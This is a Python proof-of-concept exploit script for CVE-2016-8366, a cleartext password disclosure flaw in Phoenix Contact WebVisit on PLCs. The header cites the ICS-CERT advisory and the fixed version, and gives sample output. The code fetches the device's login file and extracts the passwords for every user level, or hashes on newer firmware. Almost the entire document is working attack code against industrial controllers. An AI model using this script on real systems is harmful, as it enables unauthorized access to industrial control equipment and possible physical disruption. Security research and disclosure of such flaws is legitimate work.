#! /usr/bin/env python
''' 
	Copyright 2018 Photubias(c)

        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.

        File name CVE-2016-8366.py
        written by tijl[dot]deneut[at]howest[dot]be

        In cooperation with Lars De Maesschalck, Michael De Vos and Robbe Vuylsteke

        More info:
        https://ics-cert.us-cert.gov/advisories/ICSA-313-01
        Phoenix Contact WebVisit < 6.40.00 suffers of a Cleartext Password Disclosure bug
        Fix: PC WORX 1.84
        https://www.phoenixcontact.com/online/portal/nl/?uri=pxc-oc-itemdetail:pid=2985725&library=nlnl&pcck=P-19-05-01&tab=5
        
        This script will perform retrieval of clear text credentials for a Phoenix Contact PLC
		with a WebVisit GUI, password protected, application on it
		Tested on the Phoenix Contact ILC-390 PLC, but others are surely equally vulnerable
		
		Sample output:
		C:\Users\admin\Desktop>CVE-2016-8366.py
		Please enter an IP [172.20.3.10]:
		This is the password for userlevel 1: pw1
		This is the password for userlevel 2: SuperPass2
		This is the password for userlevel 3: Extreme2TheMax3
		This is the password for userlevel 4: PowerPass4
		Press Enter to exit
'''
import urllib2, binascii

strIP = raw_input('Please enter an IP [172.20.3.10]: ')
if strIP == '': strIP = '172.20.3.30'

try:
    URLResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/'))
except urllib2.HTTPError:
    print('#### Critical Error with IP ' + strIP + ': no response')
    raw_input('Press Enter to exit')
    exit()

strMainTEQ = ''
for line in URLResponse.readlines():
    if 'MainTEQName' in line:
        strMainTEQ = line.split('VALUE="')[1].split('"')[0]

if strMainTEQ == '':
    print('#### Error, no \'MainTEQ\' found on the main page')
    raw_input('Press Enter to exit')
    exit()

try:
    LoginTeqResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/' + strMainTEQ))
except urllib2.HTTPError:
    print('Critical Error with IP ' + strIP + ': File \'' + strMainTEQ + '\' not found')
    raw_input('Press Enter to exit')
    exit()
strAlldata = ''
for line in LoginTeqResponse.readlines():
    strAlldata += binascii.hexlify(line)

## For vulnerable webvisit:
## Seems to be 'userLevel' + x bytes + 1 + y bytes + 'password'
## userLevel + '0506030001' + 31 + '00030003010301068300' + passlength + 'password'
## For WebVisit > 6.40.00
## userLevel + '0003000301030b06830040' + 'SHA256' (wich is 64 bytes)

arrData = strAlldata.split('757365724c6576656c0506030001') ## userLevel + '0506030001'
for item in arrData:
    if '00030003010301068300' in item:
        intUserlevel = int(binascii.unhexlify(item[:2]), 16) ## Turn str '31' into int 1
        strPassLength = item.split('00030003010301068300')[1][:2]
        strPassword = binascii.unhexlify(item.split('00030003010301068300')[1][2:2+(2*int(strPassLength,16))])
        print('This is the password for userlevel ' + str(intUserlevel) + ': ' + strPassword)
    elif '0003000301030b06830040' in item:
        intUserlevel = int(binascii.unhexlify(item[:2]), 16)
        strHash = binascii.unhexlify(item.split('0003000301030b06830040')[1][:64*2])
        print('This is the hash for userlevel ' + str(intUserlevel) + ': ' + strHash.lower())
raw_input('Press Enter to exit')
